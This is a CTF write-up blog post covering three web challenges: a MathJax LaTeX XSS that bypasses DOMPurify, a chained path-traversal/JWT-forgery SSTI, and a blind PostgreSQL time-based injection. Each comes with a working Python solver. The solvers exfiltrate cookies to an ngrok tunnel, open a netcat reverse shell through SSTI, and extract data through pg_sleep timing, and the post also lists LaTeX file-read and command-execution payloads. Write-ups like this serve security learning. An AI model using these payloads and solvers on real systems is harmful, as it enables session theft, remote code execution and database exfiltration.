IDSECCONF 2024 CTF - All Web Writeup

IDSECCONF 2024 CTF - All Web Writeup

·

9 min read

Recently, I joined a CTF organized by IDSECCONF, playing as N2L with two of my friends—our team had three people in total. At the time, I was mostly focusing on web challenges (but also did some reverse stuff) because the reverse category in this event was way easier than the others, and there were a ton of them! Oh, and there wasn’t any Forensic or Crypto, just Web, Pwn, and Reverse.and i managely solve rest of the chall up-solve after event end :). Alright, enough with the intro—let’s get into the upsolve writeup!

AskHim - Latex XSS

For this challenge, they didn’t give us any source code at first during the competition. I struggled with it because I had no idea what the objective was. But after a while, they finally gave us the source, like 2 hours before the event ended. and this the source was :

https://github.com/t101804/CTF_Archive/blob/main/idsecconf/src.zip

Little Facts

before this chall was a blackbox lol so idk the filter i just assume this have something to-do with the latex because in the /question/id have some latex-stuff

yk what to-do with latex? and blackbox? yep i assume it was like Latex Injection Server Side like,

\input{/etc/passwd} → READ FILE

\input{|"/bin/hostname"} → RCE

2 hours before the event ended, I contacted the Problem Setter, and he said it was a mistake—the players were supposed to get the source code. I was like, 'Bruh, I’ve been debugging and trying all kinds of LaTeX RCE, and it’s not that.' Then I asked him, and turns out the goal was XSS.

💔 But I managed to solve it like 5 minutes after the event ended :). It’s okay, 3rd place isn’t too bad, I guess (yeah, I know, but I still got triggered by this no-source challenge).


DOMPurify Bypassed With Latex Injection

in the competition before i dont know the goal was xss. so i just assume maybe latex RCE or LLM injection, so i know the latex from where?

in the question/:id we given out the response with filter DOMPurify

Here’s an enhanced and more engaging version of your writeup, incorporating formatting with bold text and improving the flow for better readability:


While working on this challenge, I noticed something curious related to LaTeX MathJax. I started by searching for "Latex Injection MathJax CVE" and stumbled upon an interesting article:

👉 MathJax CSS Injection Article

In this article, they discussed a CSS Injection vulnerability in MathJax. Essentially, the vulnerability arises because MathJax sanitizes outputs, not inputs. This is critical because the input LaTeX code itself can carry malicious payloads that bypass traditional sanitization methods.

The Vulnerability

MathJax allows users to specify Unicode characters to inject CSS styles. For example, you can use the following payload:

$\unicode[some-font; color:blue; height: 100000px;]{{x1234}}$

When this payload is rendered, the malicious CSS styles, such as color or height, are applied directly to the output. This completely bypasses DOMPurify, as DOMPurify sanitizes the rendered output HTML, not the raw LaTeX input!


Why This Works

The issue arises because DOMPurify only sanitizes the rendered output, and MathJax itself processes the input LaTeX into HTML/CSS. This creates a loophole where sanitized outputs fail to address vulnerabilities in the inputs themselves. As a result, the payload inside the LaTeX block remains dangerous until rendered.


Key Lessons

  • Sanitize both inputs and outputs: In this challenge, only the outputs were sanitized, which allowed me to craft a malicious LaTeX payload.

  • Latex MathJax is exploitable with CSS Injection: As shown in the MathJax GitHub issue, Unicode blocks can inject styles like font, color, or even extreme sizes (e.g., height: 100000px) that disrupt functionality or UI.


Exploitation

The MathJax injection worked... hmm, what can we do with CSS injection to bypass DOMPurify? Yep, we can bypass the quote in the style attribute within the MathJax rendering process.

Here’s the test payload:

$\unicode[some-font; color:blue; height: 100000px;"><img src="x]{x1234}$

As we can see, the <img> tag gets injected.

This allows us to achieve XSS, since DOMPurify ignores broken tags like this.

Additionally, the HTML entity gets decoded by MathJax, enabling us to use the following payload to trigger an alert:

 $\unicode[some-font; color:blue; height: 100000px;"><img src="x" onerror="alert(1)]{x1234}$

And voilà, we successfully achieve an alert:

Solver

import asyncio
import httpx
from pyngrok import ngrok
from flask import Flask, request, Response
# from flask import Flask, request
from threading import Thread
import re

PORT = 6666
TUNNEL = ngrok.connect(PORT, "tcp").public_url.replace("tcp://", "http://")

print("TUNNEL:", TUNNEL)

URL = "http://localhost:3000"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, verify=False)
        self.session = ""
    async def posting_xss_payload(self, payload: str):
        print(payload)
        r = await self.c.post('/ask',data={
            "content": payload
        })
        if 'Found' in r.text:
            question_id = re.findall(r'Found. Redirecting to (.*)', r.text)[0]
            print(question_id)

class API(BaseAPI):
    ...

    async def webServer(self):
        app = Flask(__name__)
        @app.get("/")
        async def home():
            get_c_params = request.args.get("c")
            if get_c_params:
                cookie,value = get_c_params.split("=")
                flag = await self.c.get('/admin/flag', cookies={cookie: value})
                print(flag.text)
                print(get_c_params)
            return "ok"
        return Thread(target=app.run, args=('0.0.0.0', PORT))


async def main():
    api = API()
    server = await api.webServer()
    server.start()
    payload = f"""fetch('{TUNNEL}?c='+document.cookie)"""
    await api.posting_xss_payload(f"""$\\unicode[some-font; color:red; height: 100000px;"><img src="" onerror="{payload}]{{x1234}}$""")
    server.join()

if __name__ == "__main__":
    asyncio.run(main())

Conclusion

This challenge highlights a critical security gap in handling MathJax LaTeX inputs alongside DOMPurify sanitization. The root cause lies in the fact that DOMPurify sanitizes only the rendered HTML outputs, while the malicious input—crafted in LaTeX—remains unsanitized and is processed directly by MathJax.

By exploiting MathJax’s ability to interpret Unicode blocks and inject styles, we demonstrated how CSS injection could lead to injecting malicious HTML tags like <img>, which DOMPurify fails to catch when structured as "broken tags." The decoded HTML entities further escalate this vulnerability, allowing for XSS payloads to execute.

This case emphasizes the need for:

  1. Input sanitization before processing, especially when using third-party libraries like MathJax.

  2. Context-aware sanitization, ensuring both input and output are thoroughly checked to eliminate attack vectors.

In conclusion, overlooking input sanitization and relying solely on DOMPurify for output sanitization opens doors to creative exploits like this, showcasing the importance of a holistic approach to web application security.

Short SSTI ( Soon, i already solved this but lazy to write )

This one was a bit tricky. The point of the challenge wasn’t like the Latex XSS—it was worth fewer points. But yeah, there was a lot of chaining and restrictions to deal with, which made it pretty interesting!

Solver

import httpx
import jwt
import datetime

URL = "http://127.0.0.1:5000"
CMD = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.tcp.ap.ngrok.io 19542 >/tmp/f"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
    def get_secret(self):
        r = self.c.get('/download', params={
            'filename':'../../config.json',
            'dummy':'random.jpg'
        })
        print(r.text)
        self.secret_key = r.json()['secret_key']
        self.create_jwt()

    def create_jwt(self):
        if self.secret_key:
            self.jwt_token = jwt.encode({'username': '{{1+1}}', 'exp': datetime.datetime.now() + datetime.timedelta(minutes=30)}, self.secret_key, algorithm='HS256')
            self.c.cookies = {'jwt_token': self.jwt_token.decode()}
        else:
            print('secret key not sett')    

    def trigger_ssti(self):
       print(self.jwt_token)
       r = self.c.get('/admin')
       if r.status_code == 200:
        #    for i in range(500):
        #    http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
        #  {{ lipsum|attr(request.form.g)|attr(request.form.b)|attr("exec")(request.form.c) }}
        # i = 10
            r = self.c.post('/check', data={
                # {{ lipsum.__globals__.os.popen('id') }}
                # {{lipsum.__globals__.__builtins__.exec('/etc/passwd')}}
                # ''.__class__ = ''['__class__']
                # lipsum[request.form.g][request.form.b].exec('ls')

                "filename" : """{{ lipsum[request.form.g][request.form.b][request.form.e](request.form.c) }}""",
                # {{ lipsum[request.form.g][request.form.b].exec(request.form.c) }}
                # "filename": """{{''['__class__']['__mro__'][1][request.form.s]( )[request.form.i|int](request.form.p)}}""",
                # "filename": """{{ (lipsum|attr(request.form.c)|attr(request.form.s)|attr(request.form.g)(request.form.i|int)) }}""",
                # "a": "{{1+1}}",
                #    "filename":"""{{ ( )|.__base__|attr(request.form.s)( )|attr(request.form.g)(request.form.i|int)(request.form.p,shell=true) }}""",
                "c":f"import os;os.system('{CMD}')",
                "s":"__subclasses__",
                "g": "__globals__",
                "e": "exec",
                "b": "__builtins__",
                "i":370
                })
            # if 'popen' in r.text.lower():
            #     print(i)
            print(r.text)
            #     break
class API(BaseAPI):
    ...

if __name__ == "__main__":
    api = API()
    api.get_secret()
    api.trigger_ssti()

Blind ProstgreSQL Injection ( Soon, i already solved this but lazy to write )

This was the first chall that appear in the web category

because this chall was blackbox so i just send up the solver

( idk what this chall is, just blind sqli blackbox )

Solver

import string
import requests
import time
from urllib.parse import quote

URL = "http://103.76.120.56:41029"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.url = url

    def home(self, payload):
        r = requests.get(f"{self.url}/lions?name=&sort={payload}",timeout=5)
        # print(r.url)
        return r

class API(BaseAPI):
    pass

api = API()

def mencari(nama):
    try:
        payload2 = f"""id"||CHR(44)||(SELECT/**/CASE/**/WHEN/**/(SELECT/**/COUNT(*)/**/FROM/**/flag/**/WHERE/**/flag/**/SIMILAR/**/TO/**/'{nama}%%')/**/<>/**/0/**/THEN/**/pg_sleep(5)/**/ELSE/**/pg_sleep(1)/**/END)||chr(44)||"id"""
        start_time = time.monotonic()
        res = api.home(payload2)  # Synchronous call to home method
        elapsed_time = time.monotonic() - start_time
        print(nama)
        if elapsed_time >= 6:  # Check for delay to determine if payload is correct
            print('found', nama)
            return [True, nama]
        return [False, nama]
    except requests.Timeout:
        print('found', nama)
        return [True, nama]
    except Exception as e:
        print(e)
        return [False, nama]  # Handle exceptions and return a failure case

def banyak_mencari(known=''):
    for i in string.printable:
        i = i.replace('\\', '\\\\').replace("%", "\%").replace("*","\*").replace("?","\?").replace('|','\|')
        result = mencari(known + i)  # Synchronous call to mencari
        isTrue, tmpknown = result
        if isTrue:
            known = tmpknown
            print(known)
            banyak_mencari(known)  # Recursion to find more characters

def main():
    banyak_mencari('flag{m45t3r_0f_5ql1_w4s_h3r3!!!!!!}')  # Start the search with an empty string

if __name__ == "__main__":
    main()

Conclusion

This script demonstrates an effective technique for exploiting time-based SQL injection in order to retrieve data from a vulnerable web application. Here's a breakdown of the key points:

  1. Time-Based Blind SQL Injection:
    The script leverages pg_sleep in the SQL query to introduce a delay in the response. By adjusting the delay, it identifies if a certain string (in this case, the flag) exists in the database. If the condition is true, the server will sleep for 5 seconds, indicating a correct guess, while a 1-second delay signals an incorrect guess.

  2. Character-by-Character Enumeration:
    The banyak_mencari function performs a character-by-character enumeration attack, systematically appending characters to the known portion of the flag and checking for responses that indicate the correct character. This process continues recursively, expanding the string with each correct character found.

  3. SQL Injection Payload:
    The SQL injection payload used in the script checks for specific characters in the flag by exploiting the CHR(44) SQL function and using conditional logic to trigger different response times based on whether the condition is true or false.

  4. Practical Application:
    This type of attack is commonly used in Capture The Flag (CTF) challenges and real-world scenarios where the attacker has limited access to the database and needs to infer data based on the application's timing behavior.

Summary

  • Timing Attacks: The technique showcases how time-based blind SQL injection can be a powerful tool when there's no direct feedback or error messages from the application.

  • Vulnerability: The system is vulnerable to this type of attack because it does not properly sanitize user inputs, allowing arbitrary SQL code execution through unfiltered parameters.

  • Mitigation: To protect against such attacks, web applications should:

    • Implement parameterized queries or prepared statements to prevent direct injection.

    • Use web application firewalls (WAFs) to detect and block common SQL injection patterns.

    • Avoid relying on timing differences as the sole indicator of correct behavior; instead, respond with consistent time metrics.

In summary, this script effectively demonstrates how attackers can retrieve sensitive data (like flags) through time-based SQL injection by exploiting vulnerable endpoints and using recursive logic to crack the data piece-by-piece.